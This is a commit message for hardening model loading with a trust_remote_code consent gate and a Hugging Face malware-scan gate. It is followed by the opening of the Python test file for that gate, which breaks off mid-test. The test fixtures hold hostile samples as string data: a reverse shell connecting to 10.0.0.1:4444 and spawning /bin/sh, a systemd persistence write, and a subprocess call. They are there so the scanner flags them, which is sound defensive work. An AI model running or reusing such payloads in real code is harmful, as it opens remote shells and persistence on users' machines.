* Harden model fetching: consent gate for trust_remote_code Add a load-path consent gate that scans a model's auto_map repository code before it executes and blocks CRITICAL/HIGH findings unless the user pins approval of that exact code version. Capability detection stays code-free, reading raw config.json instead of AutoConfig. - Scan config.json and tokenizer_config.json auto_map, nested local helpers, and external owner/name--module repos; fail closed on partial downloads. - Gate inference, training, and export workers, including the MLX path and a LoRA's base model, and report requires_trust_remote_code from the raw config so chat and auto-load surface the dialog. - Verify trusted-org auto-enable against the Hub with the request token and key the verdict cache by token; reject local-path and spoofed names. - Add a consent dialog showing the flagged file, line, and surrounding code. - Thread hf_token through the scan and load paths for gated repos. * Address review: token handling, tokenizer/LoRA scan coverage, rollback - Send the HF token for remote-code scans in the POST body, not the URL, so it never lands in a log or browser history. - Collect tokenizer_config.json auto_map files directly instead of relying only on the repo file listing. - Resolve a LoRA's base model for the validate flag and the scan endpoint so the dialog scans the code the workers actually gate. - Pass the request token to the training YAML trusted-org auto-enable. - Resend a previously approved fingerprint when rolling back to a custom-code model after a failed switch. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Consent UX: drop legacy chat toggle, fix decline copy, purge declined downloads The per-model consent dialog is now the single approval path for custom (auto_map) code in chat, so three leftovers from before it existed are removed: - Remove the "Enable custom code" switch from Chat Settings and stop persisting trust_remote_code, so a previously saved blanket-on cannot linger and load a model without going through per-version review. The flag stays as an internal YAML/preset default (e.g. first-party auto-enable); the load path still gates every custom-code load on a fingerprint only the dialog produces. - Reword the decline message and the auto-load toast to describe approving the model's code from the dialog, not a missing settings toggle. - On decline, purge the repo the scan downloaded so untrusted code is not left on disk. A new /api/models/discard-remote-code endpoint deletes only a metadata-only cache entry the scan created; it refuses local paths, loaded models, and any repo with weight files cached, so a model the user already had or pre-downloaded is always left untouched. The frontend only calls it when the scan reported created_by_scan. Adds discard-endpoint tests (delete metadata-only, refuse on weights/gguf, refuse local, no-op when not cached) and a created_by_scan payload assertion. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Export: remove the user-facing trust remote code toggle The Export page kept a "Trust remote code" switch (default on) next to the HF token field. Like chat, custom (auto_map) code should be approved per model through the load-time review dialog, not a persistent blanket switch, so the toggle is removed. The export load path already routes through the same consent dialog: an HF source now starts with trust_remote_code off and only enables it when the user approves the scanned code in the dialog (a local checkpoint the user exported stays trusted by default). With the dialog unreachable and no approval, an HF source loads with trust_remote_code off, which fails closed rather than running unreviewed code. * Block loads of repos with unsafe files using Hugging Face's security scan The trust_remote_code consent gate covers one load-time RCE vector (a repo's auto_map Python). It does not cover the other: a malicious pickle inside a weight file (pytorch_model.bin, *.pkl, *.dat) deserializes during from_pretrained even with trust_remote_code False, so a repo with a normal config plus a poisoned pickle slips past the existing gate. Add a metadata-only malware gate that uses Hugging Face's own scan (picklescan + ClamAV), read via model_info(securityStatus=True).security_repo_status. It never downloads, opens, or unpickles the flagged files; it only reads the Hub's verdict and surfaces the flagged file names. New evaluate_file_security runs unconditionally (independent of trust_remote_code) in every load path (inference, training SFT/MLX, export), blocking the load when a file is flagged unsafe/suspicious/malicious. The /remote-code-scan preflight and the validate endpoint also report the result so the consent dialog opens as a hard block (no override) listing the flagged files, even for a repo with no custom code. Policy: hard block with no user override; fail open when the scan is unavailable (offline/unscanned) so legitimate loads are not broken; no first-party exemption (a poisoned pickle in a compromised trusted repo still blocks); local paths and GGUF are skipped (no Hub scan, non-pickle format). Blocking does not gate on scansDone, since that is often false for clean repos and a file already flagged unsafe is unsafe regardless. Adds test_file_security.py covering the block/allow/fail-open/skip matrix. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Address review: scan list-form tokenizer auto_map, gate unsafe files on all load paths Fixes from a 10-reviewer pass on the model-fetching hardening: - The remote-code scanner skipped tokenizer auto_map encoded as a [slow, fast] list (transformers' standard tokenizer shape, e.g. {"AutoTokenizer": ["owner/repo--tokenization_x.Slow", null]}). External tokenizer code in that form was never fetched, scanned, or fingerprinted, so an AutoTokenizer(trust_remote_code=True) load could run it. _auto_map_refs now flattens string, list, and nested values. Adds a regression test. - Compare-mode chat loads and background auto-load only gated on requires_trust_remote_code, so a repo flagged unsafe by the Hub scan but with no custom code skipped the hard-block dialog. Both now also gate on requires_security_review, matching the main chat path. - The /remote-code-scan and /validate routes collapsed a LoRA adapter to its base before the malware scan, so unsafe files in the adapter repo itself were missed in the pre-load review (the workers already scan both). Both routes now run the file-security scan over the adapter and the base. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Require approval for all HIGH remote code, fail closed when unscannable Tighten the load-time security gates based on review: Consent gate - HIGH-severity auto_map code now requires explicit, per-version approval for every repo, including first-party unsloth/nvidia. The org is no longer a blanket bypass: a compromised first-party repo with HIGH code still warrants review. CRITICAL stays a hard block; clean code still loads after the consent prompt. - Fail closed when auto_map code is present but cannot be fully fetched or listed to scan (gated, offline, transient, or a repo-listing failure that could hide an imported helper). We cannot fingerprint code we cannot see, so this is a non-approvable block, retryable once the repo is reachable. - Scan auto_map from every config that can carry one (model, tokenizer, image and feature processor, processor, video processor), not just config.json and tokenizer_config.json, so a custom-processor model is not missed. The file list is the single source of truth in remote_code_scan and is pinned to the transformers filename constants by a guard test. - Distinguish a genuine 404 (config truly absent) from a transient error: only the latter forces a scan, so a repo with no config is correctly a no-op. Malware gate - Scan a remote repo even when its name ends in .gguf; only local paths skip the Hub scan, so a repo cannot dodge the scan by naming itself "*.gguf". - Correct the docstring: a file already flagged unsafe blocks regardless of scansDone; the only fail-open path is an unavailable scan. Coverage - Resolve a remote LoRA adapter's base model (not just local directories) so the base, where the code and weights actually execute, is scanned in validate, the scan route, and the training and export workers. - Gate the embedding training path (FastSentenceTransformer) with the malware and consent checks, matching the other load paths. Tests updated and added for each change. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Scope malware gate to the load-path vector; stop false-blocking first-party models Follow-up hardening from a second review pass + a broad live model matrix (unsloth/* , nvidia/* , third-party, and the eicar malware repo). Malware / unsafe-file gate - Scope the block to the actual RCE vector: a root-level file in a code-executing format. from_pretrained deserializes weight files at the repo ROOT, so a flag is only a load-path pickle vector there. Two exclusions, because neither is loaded: inert formats (safetensors is tensor-only, gguf is non-pickle, configs/text/ images) and files in subdirectories. This keeps eicar blocked (its *.pkl/*.dat/ eicar_test_file sit at the repo root) while no longer false-blocking legitimate first-party repos: nvidia/Nemotron-H-8B-Base-8K ships root safetensors plus NeMo pickle checkpoints under nemo/ that the loader never touches, and the Hub flags both; the gate previously hard-blocked it. - Unknown / future non-"safe" levels now fail closed (block) instead of being silently allowed, so Hub schema drift cannot introduce a bypass; in-progress ("pending"/"scanning"/"error") levels stay non-blocking to avoid false blocks. Consent gate - Ignore a STALE own-repo auto_map target that is absent from the repo listing (an older config pointing at a file the repo no longer ships) instead of failing the whole repo closed as unscannable. The present .py are still fully scanned, which is the stronger coverage, and a file that is not there cannot execute. This unblocks first-party models like unsloth/PaddleOCR-VL (its tokenizer_config.json names processing_ppocrvl.py while the repo ships processing_paddleocr_vl.py). A referenced .py that IS present but cannot be fetched, and a repo-listing failure, still fail closed. Remote LoRA base resolution - Distinguish a genuine 404 (not a LoRA / repo absent -> None) from a transient error: the transient case is retried once, then logged as a WARNING (a missed base is scanned by neither gate) rather than silently skipped. Discard endpoint - Treat .onnx and .ckpt as weights so a repo whose only heavy artifact is one of those is never eligible for the declined-download purge. Tests added for each: load-path scoping (safetensors/subdir/Nemotron-H shapes, unknown-level fail-closed, pending non-block), stale own-repo auto_map ref, remote LoRA transient retry, and the empty-config-list (all-404 -> []) semantics. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Make LoRA-base transient-warning test robust to logging backend Assert on the logger object directly instead of capsys, so the test does not depend on whether the real structlog logger or the module-stub logger is active (which varies with test collection order). * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Allow a repo with auto_map but no executable code (e.g. GGUF) instead of blocking A config can declare an auto_map yet the repo ship NO executable .py -- most commonly a GGUF repo whose config.json carries an auto_map copied from the original model (e.g. unsloth/Llama-3_1-Nemotron-Ultra-253B-v1-GGUF references modeling_decilm.py, which the GGUF-only repo does not contain). A GGUF model loads through llama.cpp, which never executes auto_map, and transformers cannot run a file that is not present, so there is nothing to scan and trust_remote_code is a no-op. The fail-closed change treated this empty result the same as "code is present but we could not fetch it" and hard-blocked the load. Distinguish the two: repo_remote_code_files now RAISES RemoteCodeUnscannable when code is present but cannot be fully fetched or listed (offline / gated / transient / a present .py that 404s / a listing failure), and returns an empty dict only when the listing succeeded and the repo genuinely ships no executable .py. The consent gate blocks on the exception (fail closed) and allows the empty case as a no-op. Real unscannable code still hard-blocks; eicar and CRITICAL/HIGH custom code are unaffected. Verified against all 37 unsloth/*Nemotron* models (two GGUF repos were false-blocked, now load) and the existing matrix (eicar still blocks; DeepSeek-OCR / NVLM-D-72B still prompt approvable consent). Tests updated to expect the raise for unscannable cases and added for the no-executable-code no-op. * Ignore vestigial auto_map in GGUF repos (llama.cpp never runs it) A GGUF repo's config.json is often copied verbatim from the original transformers model, auto_map and all, but a GGUF load goes through llama.cpp which never executes auto_map, so the config is inert. Treat a direct .gguf reference, and a repo that ships .gguf weights with no .safetensors, as having no remote code so the consent flow is never triggered. A mixed repo with both .gguf and .safetensors is still gated, since the safetensors variant would load through transformers where auto_map does run. The check sits behind the existing auto_map-present gate so normal models pay no extra repo listing. * Add scanner-result copy to the remote-code consent dialog Make the consent dialog state the scan outcome in plain language for every model. When the static scan finds nothing, reassure the user with 'Our automatic scanner did not flag any worrying files, but please double check.' (shown only for the clean, approvable case). When the scan flags custom code or unsafe files, label the list with 'Our automatic scanner flagged issues including:'. The Hugging Face attribution for unsafe files stays in the dialog description. * Close GGUF-suffix consent bypass for repo ids ending in .gguf The .gguf short-circuit in _config_has_auto_map skipped the scan for any model name ending in .gguf, including a bare two-segment repo id like 'evil/model.gguf'. Such a repo can still ship safetensors plus auto_map Python that transformers would execute, so skipping the scan was an asymmetric bypass (file_security already scans those repos). Restrict the short-circuit to genuine direct GGUF file references via _is_direct_gguf_file_ref: a local .gguf path, or a remote repo_id plus filename (three or more segments). A two-segment repo id named *.gguf now falls through to the config scan and _is_gguf_repo file inspection, so it only skips consent when it actually ships .gguf weights and no safetensors. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Align consent dialog body with the title and fix narrow-width overflow The scan results (the 'Our automatic scanner...' label, finding/unsafe cards, and the clean-scan reassurance) sat at the dialog's left padding while the title and description were indented past the status icon, so the body did not line up under the description. Move the title, description and results into one column to the right of the icon so they share a left edge, and let that column fill its width so the description no longer wraps early. Also stop a wide code snippet from pushing the dialog off-screen on narrow viewports: AlertDialogHeader is a grid with place-items-center, which sized the content row to its content; give the row w-full so it fills the track, and add min-w-0 down the results chain so the snippet scrolls inside its card instead of widening the dialog. Verified aligned and contained from mobile portrait through ultrawide. * Treat a repo as GGUF-only only when it ships no transformers weights _is_gguf_repo excluded only .safetensors, so a repo with a .gguf and a pytorch_model.bin (or .pt/.pth/.h5/.msgpack/.onnx/.ckpt) and no safetensors was treated as GGUF-only and skipped the consent scan, even though transformers can load that weight set and execute the repo's auto_map code. Require the absence of ANY transformers-loadable weight before treating the repo as a llama.cpp-only GGUF load. A genuine GGUF-only repo (only .gguf) is still inert; a mixed repo with any pickle or safetensors weight is gated. Adds a regression test across all the non-safetensors weight formats. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Block flagged subdir weight shards referenced by a root index The malware gate treated every subdirectory file as non-loadable, but from_pretrained deserializes a subdir shard a root index references (pytorch_model.bin.index.json -> shards/...-00001-of-00002.bin). Read the root weight indexes and block a flagged subdir pickle the weight_map points at; a flagged subdir pickle no index lists (NeMo nemo/*.distcp) stays non-blocking, and an inconclusive index lookup fails closed. * Pass hf_token to the export checkpoint load ExportBackend.load_checkpoint scanned with hf_token in the worker but loaded the weights unauthenticated, so a gated/private checkpoint passed preflight then 401'd at from_pretrained. Add hf_token to load_checkpoint and forward token to every from_pretrained branch; the worker passes the command's hf_token. * Scope created_by_scan to every HF cache the discard searches created_by_scan used get_cache_path (active HF_HUB_CACHE only) while /discard-remote-code deletes across active, legacy, and default caches. A repo the user already had in a legacy/default cache was marked scan-created and deleted on decline. Check all three caches for the repo dir before declaring the scan created it. * Scan the full .py closure of external auto_map repos An auto_map cross-repo ref (owner/name--module.Class) only had its entry file downloaded, but transformers also fetches that file's relative imports from the same repo, so a dangerous helper.py was left outside the scanned fingerprint. List each external repo's .py and scan the whole set (plus the referenced entry files); fail closed if the repo cannot be listed or fetched. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Fail closed when a weight index cannot be fully read _indexed_shard_paths treated a partial result as definitive: if one weight index read cleanly but another failed transiently, it returned the shard paths it did see. A flagged subdirectory pickle listed only by the index we could not read would then be classed as "not a load input" and skipped, re-opening the very fail-open this guard was added to close. Return None whenever any index read is inconclusive, even if another read cleanly, so the caller blocks the already-flagged subdir pickle. A repo that ships no index files raises EntryNotFoundError for each (never inconclusive) and still returns an empty set. * Match cached repos case-insensitively in the created_by_scan guard _repo_in_any_hf_cache resolved casing only against the active cache and then probed every cache with an exact directory name. A case-variant already present in a legacy or default cache (models--Unsloth--Foo for a scan of unsloth/foo) was missed, so the repo was marked created_by_scan and deleted on decline -- but discard_remote_code_download deletes case-insensitively, so that delete would hit the user's pre-existing cache entry. Detect case-insensitively too, mirroring the deletion path. * Skip remote-code and security review for selected GGUF variants validate_model ran the trust_remote_code and Hugging Face security-scan preflight against the repo even when the selected artifact is a .gguf. A GGUF loads through llama.cpp, which never executes the repo's auto_map Python and never deserializes root pickle weights, so repo-level Transformers artifacts (a config.json with auto_map, or an unsafe pytorch_model.bin next to the .gguf in a mixed repo) are inert for that load. Gating the GGUF on them is a false positive. Run both preflights only for non-GGUF loads. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Scope the malware gate to actual load roots and serialized files Two fixes to evaluate_file_security so it neither misses a load-path pickle nor false-blocks an inert file: - Honor subdirectory load roots. Spark-TTS / BiCodec call from_pretrained on the snapshot's LLM subdirectory, so a flagged pickle directly under it is a root-level load artifact there. A new load_subdirs parameter (set from the model's audio type via security_load_subdirs) reclassifies those files relative to the load root and looks for weight indexes under it, so a flagged shard in that subdir is no longer skipped as "not root-level". - Exempt source files. A root .py is never deserialized by from_pretrained; executable repo code runs only through auto_map, which the remote-code consent gate scans. Flagging a Python helper here would false-block a repo that merely ships a build or train script. * Scan a LoRA adapter and base as one consent unit, and gate MEDIUM code A LoRA load runs both the adapter's and the base's repo code. The consent gate scanned them separately and pinned one fingerprint per repo, so an adapter that shipped its own auto_map code was either never shown in the dialog (which only saw the base) or impossible to approve with the base's fingerprint. evaluate_remote_code_consent_for_targets now scans all of a load's repos as a single combined unit and pins ONE fingerprint over the union of their code, so approving the load approves every repo's code together. evaluate_remote_code_consent becomes a thin single-target wrapper, and an unscannable target fails the whole load closed. Also gate MEDIUM findings: like HIGH they now block pending pinned approval, so a direct API caller cannot run flagged code by setting trust_remote_code=True without consenting. Only a clean scan loads without a fingerprint. * Preflight a LoRA load's adapter and base as one combined consent scan scan_model_remote_code rewrote a LoRA adapter to its base and scanned only the base for remote code, so the dialog never surfaced an adapter's own auto_map code. Scan the adapter and base together through preflight_remote_code_consent_for_targets, which pins one combined fingerprint the worker gate accepts. The malware preflight is also scoped to each target's load subdirectories. * Apply combined consent and subdir-aware malware scan in load workers Each load worker (inference, export, training) evaluated remote-code consent once per target with a single shared fingerprint, so a LoRA adapter that ships its own auto_map code could not be approved by the base's fingerprint. They now scan the adapter and base together via evaluate_remote_code_consent_for_targets, which pins one combined fingerprint over the union of their code. The malware scan in each worker is also scoped to the model's load subdirectories so a flagged pickle under a from_pretrained load subdir is not missed. * Report a consistent trust_remote_code requirement after a model loads validate_model reports requires_trust_remote_code from the YAML default OR the raw auto_map, but the load, already-loaded, and status responses reported only the YAML default. A custom-code model approved and loaded via auto_map was then reported as not requiring trust_remote_code, so the frontend stored false and a later retry or rollback sent trust_remote_code=false and failed. A shared resolver reports the same requirement for a loaded model (a value stored at load time, else the trust_remote_code the load used, else the YAML default, else the raw auto_map check), and the load response persists it so the status and already-loaded paths stay consistent. The selected-GGUF security review is also scoped to the model's load subdirectories. * Run the consent gate on training resume and for YAML-only trust_remote_code Three frontend gaps left a model loading without the trust_remote_code it needs: - The shared consent helper returned early when the scan found no auto_map and no unsafe files, dropping a requirement that comes from a model's Studio YAML default (e.g. GLM-4.7-Flash). It now grants the caller's requirement with an empty pin instead of sending trust_remote_code=false. - Resume-from-history called startTraining directly with no consent gate, so a resumed run whose model needs custom code (or an old run with no approved fingerprint) hit the worker block with no dialog. It now runs the same gate as a fresh start. - HF export passed requiresTrustRemoteCode=false for every HF source, so a YAML-only model could not flip the flag before export. It now signals the requirement for HF sources. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Cover both LoRA repos in validate, report GGUF as inert, purge all declined repos Three follow-on gaps from the combined adapter+base consent work: - validate_model resolved requires_trust_remote_code from the base alone, so a LoRA adapter that ships its OWN auto_map code (with a plain base) was reported as not needing trust_remote_code and the consent dialog never opened. It now checks the [adapter, base] target set, matching the scan route and the workers (which already gate both) and the security review already running over both. - The already-loaded, loaded, and status responses for a selected GGUF reported requires_trust_remote_code from the model's YAML default. A GGUF loads through llama.cpp, which never executes the repo's auto_map Python, so the requirement is inert for that load. They now report False, matching validate_model (which already skips both gates for GGUF) so a status refresh cannot flip the flag back on. - The remote-code scan downloads both the adapter's and the base's config, but created_by_scan tracked only the primary, so a base the scan was first to pull into the cache was left on disk when the user declined. The scan now reports scan_created_repos (every repo it newly cached) and the decline cleanup purges each; created_by_scan stays for older clients. The frontend falls back to the primary flag when the list is absent. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Scan the repo the load fetches, purge external code on decline, harden consent pins Six follow-on hardening fixes from a fresh review pass over the gate: - The malware gate scanned the literal "Spark-TTS-0.5B/LLM" alias, but the trainer downloads it as unsloth/Spark-TTS-0.5B and loads LLM/, so the alias 404'd and failed open, missing a flagged LLM/ pickle. evaluate_file_security now resolves the alias to the repo the loader fetches and scans LLM/ as a load root. - security_load_subdirs relied only on tokenizer detection, which fails on an unresolved alias or offline; it now also honors the Studio YAML audio_type default, so a BiCodec LLM/ load root is not missed. - The remote-code scan downloads external auto_map repos (owner/name--module.Class), but the decline cleanup tracked only the model/adapter/base, leaving the external untrusted code cached. The scan now enumerates external auto_map repos and reports the ones it created in scan_created_repos, so a decline purges them too. - External auto_map refs failed the whole load closed on a stale or mis-derived dotted ref (sub.mod.py vs the real sub/mod.py) even though the actual file was present and scanned. They now drop such refs when the repo listing is real, exactly like the own-repo path; an empty/incomplete listing still fetches and fails closed. - The combined consent fingerprint keyed code by the raw target string, so the scan endpoint's canonicalized casing and a worker's raw user input produced different pins for identical code, rejecting a valid approval. Hub repo ids are now folded to lowercase in the key (local paths stay case-sensitive), so the pin tracks the code. - Export threaded hf_token into the weight load but not into detect_audio_type / is_vision_model, so a gated multimodal base 404'd in detection and fell through to the text loader. Both probes now use the same token. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Thread the token through check-vision and guard the gate's parallel sites The /check-vision endpoint classified a model without the hf_token, so a gated or private vision model 404'd in the probe and was reported as a plain text model -- the same dropped-token shape as the export probes, at a sibling site. It now passes the token like the neighboring /check-embedding endpoint. Add deterministic consistency guards (tests/test_security_gate_consistency.py) that enumerate the gate's parallel sites mechanically instead of relying on a review to spot a missed sibling: every is_vision_model / is_embedding_model / detect_audio_type caller under routes/ and core/ must thread the token, every GGUF response must report trust_remote_code via the resolver or False (never the raw YAML default), and every load worker that runs the malware or consent gate must resolve the LoRA base. A new site that drops the token or mis-reports the requirement now fails CI directly. * Narrow the LLM alias rewrite and make audio detection token-aware Three fixes from the confirmatory review, one a regression from the previous round: - _load_scan_target rewrote EVERY remote repo ending in "/LLM" to unsloth/<parent>, so a real third-party repo named "<owner>/LLM" was scanned as unsloth/<owner> while the loader still fetched the real repo -- a fail-open hole introduced when the Spark-TTS alias handling was added. It now rewrites only a registry-known bicodec alias; every other "/LLM" repo is scanned as itself. - detect_audio_type cached results under the bare model name, so an unauthenticated probe of a gated/private repo cached None and poisoned a later authenticated call with the token. The cache is now keyed by (normalized_name, token_fingerprint), matching the vision cache. - The training fallback /check-vision call dropped the hf_token, misclassifying a gated/private VLM when the config endpoint failed. It now passes the token, like the getModelConfig call it falls back from; checkEmbeddingModel takes the token too. Extend the consistency guards: every capability cache must be keyed by a tuple including the token, so a cache re-declared as Dict[str, ...] fails CI. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Document the broad .py scan as deliberate and enforce it with a test The remote-code scanner scans every .py in a repo once an auto_map exists, not just the auto_map entry's static import closure. This is intentional: the entry module can reach a sibling via an absolute import, importlib, or exec, none of which a static relative-import closure follows, so closure-only scanning would be a real bypass of a load-time RCE gate. The broad scan never under-scans; the cost is that an unrelated benign script can over-block, which is the safe failure direction (HIGH stays approvable; only CRITICAL hard-blocks). Spell this out at both the local and remote scan sites so the choice reads as deliberate, and add a test asserting an unrelated, never-imported .py is still scanned -- so a future narrowing to the static closure fails CI. * Purge a declined remote LoRA adapter the scan downloaded scan_model_remote_code probed the created-by-scan state AFTER resolving the base, but get_base_model_from_lora_identifier downloads a remote adapter's own adapter_config.json, so the adapter looked already-cached and was dropped from scan_created_repos. On decline the adapter -- including the auto_map .py the preflight fetched -- was left on disk, defeating the "untrusted code is not left on disk" guarantee for the adapter itself. Snapshot the primary's cache state BEFORE base resolution and use it when marking the adapter scan-created; on any probe error treat it as pre-existing so a decline never deletes it. The base and external repos are unaffected (their configs are not downloaded before their own probe). Add a test that models the mid-scan download side effect, which the prior static-stub tests did not. * Clear remote-code approval when the training model changes Switching the training model from an approved custom-code model to a clean one kept the previous model's trust_remote_code=true and approved fingerprint in the store: setSelectedModel reset visionImageSize on a true switch but not the remote-code approval. The clean model then trained with trust_remote_code=true, which bypasses the compiler and disables fused cross-entropy. Reset trustRemoteCode and approvedRemoteCodeFingerprint on a true model switch. The new model's own YAML default is re-applied by loadAndApplyModelDefaults, and a custom-code model still re-opens the consent dialog before training starts, so the only change is that a clean model no longer inherits a stale approval. * Trim verbose comments across the model-fetching hardening changes Condense the explanatory comments and docstrings introduced across the trust_remote_code consent gate, the malware/unsafe-file gate, the remote-code scanner, the load workers, the model routes, and the security frontend into fewer, tighter lines while preserving every security rationale (fail-open vs fail-closed direction, the deliberate broad-scan anti-bypass note, the empty-vs-unscannable distinction, stale-ref handling, and the alias-rewrite spoof guard). Comments and docstrings only. No code, logic, identifiers, or test behaviour changed; verified comment-only via the AST/TypeScript checker (40/40), with the backend test suite and frontend tsc green. * Do not cache transient audio-detection failures detect_audio_type cached _detect_audio_from_tokenizer's result unconditionally, so a transient read failure (network error or 5xx, returned as None) poisoned the cache and the later successful probe never ran. Mirror the vision cache: _detect_audio_from_tokenizer now returns (audio_type, definitive) and the caller caches only definitive results. A read that succeeds with no audio tokens, or clean 404s for every tokenizer path, stays a cacheable None; only a genuine transient failure (connection error, timeout, 5xx, malformed body) skips the cache so the next call retries. --------- Co-authored-by: danielhanchen <michaelhan2050@gmail.com> Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
1414 lines
61 KiB
Python
1414 lines
61 KiB
Python
# SPDX-License-Identifier: AGPL-3.0-only
|
|
# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
|
|
|
|
"""Tests for the trust_remote_code consent gate.
|
|
|
|
The gate scans a repo's auto_map Python before a trust_remote_code=True load and
|
|
refuses CRITICAL/HIGH code unless the user pinned this exact version. The scanner
|
|
and fingerprint run for real; only the config/file fetch is stubbed.
|
|
"""
|
|
|
|
import os
|
|
from pathlib import Path
|
|
from types import SimpleNamespace
|
|
from unittest.mock import MagicMock, patch
|
|
|
|
import pytest
|
|
|
|
import utils.security.consent as consent
|
|
from utils.security import (
|
|
RemoteCodeDecision,
|
|
evaluate_remote_code_consent,
|
|
evaluate_remote_code_consent_for_targets,
|
|
is_trusted_org_repo,
|
|
remote_code_fingerprint,
|
|
scan_remote_code_files,
|
|
should_block_remote_code,
|
|
)
|
|
from huggingface_hub.utils import EntryNotFoundError
|
|
|
|
from utils.security.remote_code_scan import (
|
|
CRITICAL,
|
|
HIGH,
|
|
REMOTE_CODE_CONFIG_FILES,
|
|
RemoteCodeUnscannable,
|
|
repo_remote_code_files,
|
|
)
|
|
from utils.security.trusted_org import clear_cache
|
|
|
|
_BACKEND = Path(__file__).resolve().parent.parent
|
|
|
|
|
|
@pytest.fixture(autouse = True)
|
|
def _clean_trusted_org_cache(monkeypatch):
|
|
"""Clear the trusted-org cache and force online mode for the Hub-verify path."""
|
|
clear_cache()
|
|
monkeypatch.delenv("HF_HUB_OFFLINE", raising = False)
|
|
monkeypatch.delenv("TRANSFORMERS_OFFLINE", raising = False)
|
|
yield
|
|
clear_cache()
|
|
|
|
|
|
# HIGH severity (persistence install): approvable, blocks untrusted repos.
|
|
_HIGH = {
|
|
"modeling_persist.py": (
|
|
"open('/etc/systemd/system/x.service', 'w').write('[Service]\\nExecStart=sh')\n"
|
|
)
|
|
}
|
|
# CRITICAL severity (reverse shell) - blocks even a first-party repo.
|
|
_CRITICAL = {
|
|
"modeling_backdoor.py": (
|
|
"import socket, subprocess, os\n"
|
|
"s = socket.socket(); s.connect(('10.0.0.1', 4444))\n"
|
|
"os.dup2(s.fileno(), 0); subprocess.call(['/bin/sh', '-i'])\n"
|
|
)
|
|
}
|
|
_BENIGN = {
|
|
"modeling_ok.py": (
|
|
"import torch\n"
|
|
"class MyModel(torch.nn.Module):\n"
|
|
" def forward(self, x):\n"
|
|
" return x + 1\n"
|
|
)
|
|
}
|
|
|
|
|
|
def _with_auto_map(files):
|
|
"""Patch the gate so auto_map is present and the given files are returned."""
|
|
return (
|
|
patch.object(consent, "_config_has_auto_map", return_value = True),
|
|
patch.object(consent, "repo_remote_code_files", return_value = files),
|
|
)
|
|
|
|
|
|
class TestConsentGate:
|
|
def test_disabled_is_a_noop(self):
|
|
d = evaluate_remote_code_consent("unsloth/X", trust_remote_code = False)
|
|
assert isinstance(d, RemoteCodeDecision)
|
|
assert d.has_remote_code is False and d.blocked is False
|
|
|
|
def test_no_auto_map_is_noop(self):
|
|
with patch.object(consent, "_config_has_auto_map", return_value = False):
|
|
d = evaluate_remote_code_consent("unsloth/Plain", trust_remote_code = True)
|
|
assert d.has_remote_code is False
|
|
assert d.blocked is False
|
|
assert "no-op" in d.reason
|
|
|
|
def test_unknown_auto_map_is_scanned_not_skipped(self):
|
|
# Unreadable config (private/gated/offline) is "unknown", not "no code": scan, not no-op.
|
|
with (
|
|
patch.object(consent, "_config_has_auto_map", return_value = None),
|
|
patch.object(consent, "repo_remote_code_files", return_value = _HIGH),
|
|
):
|
|
d = evaluate_remote_code_consent(
|
|
"private/evil", trust_remote_code = True, trusted_org = False
|
|
)
|
|
assert d.has_remote_code is True
|
|
assert d.blocked is True
|
|
assert "no-op" not in d.reason
|
|
|
|
def test_benign_remote_code_allowed(self):
|
|
a, b = _with_auto_map(_BENIGN)
|
|
with a, b:
|
|
d = evaluate_remote_code_consent("unsloth/Good", trust_remote_code = True)
|
|
assert d.has_remote_code is True
|
|
assert d.blocked is False
|
|
assert d.fingerprint # still fingerprinted for pinning
|
|
|
|
def test_high_third_party_blocked(self):
|
|
# HIGH from an untrusted repo: blocked but user-approvable (not CRITICAL).
|
|
a, b = _with_auto_map(_HIGH)
|
|
with a, b:
|
|
d = evaluate_remote_code_consent(
|
|
"evil/Model", trust_remote_code = True, trusted_org = False
|
|
)
|
|
assert d.has_remote_code is True
|
|
assert d.blocked is True
|
|
assert d.approvable is True
|
|
assert d.max_severity == "HIGH"
|
|
assert d.fingerprint
|
|
# response payload is frontend-ready, with STRUCTURED findings.
|
|
p = d.response_payload()
|
|
assert p["error_kind"] == "remote_code_consent_required"
|
|
assert p["approvable"] is True
|
|
assert p["fingerprint"] == d.fingerprint
|
|
assert isinstance(p["findings"], list) and p["findings"]
|
|
f0 = p["findings"][0]
|
|
assert {"severity", "file", "check"} <= set(f0)
|
|
|
|
def test_high_first_party_requires_approval(self):
|
|
# First-party is no longer a blanket bypass: HIGH code from a first-party repo
|
|
# requires per-version approval like any other (approvable, unlike CRITICAL).
|
|
# Real first-party models scan clean; this uses a synthetic HIGH payload.
|
|
a, b = _with_auto_map(_HIGH)
|
|
with a, b:
|
|
d = evaluate_remote_code_consent(
|
|
"unsloth/DeepSeek-OCR", trust_remote_code = True, trusted_org = True
|
|
)
|
|
assert d.has_remote_code is True
|
|
assert d.blocked is True
|
|
assert d.approvable is True
|
|
assert d.max_severity == "HIGH"
|
|
assert d.fingerprint
|
|
assert "approval required" in d.reason
|
|
|
|
def test_bare_subprocess_blocked_third_party(self):
|
|
# A bare subprocess.Popen in a config __init__: model code must never shell out, so block.
|
|
files = {
|
|
"configuration.py": (
|
|
"import subprocess\n"
|
|
"class RemoteConfig:\n"
|
|
" def __init__(self):\n"
|
|
" subprocess.Popen(['xcalc'])\n"
|
|
)
|
|
}
|
|
a, b = _with_auto_map(files)
|
|
with a, b:
|
|
d = evaluate_remote_code_consent(
|
|
"third-party/custom-model", trust_remote_code = True, trusted_org = False
|
|
)
|
|
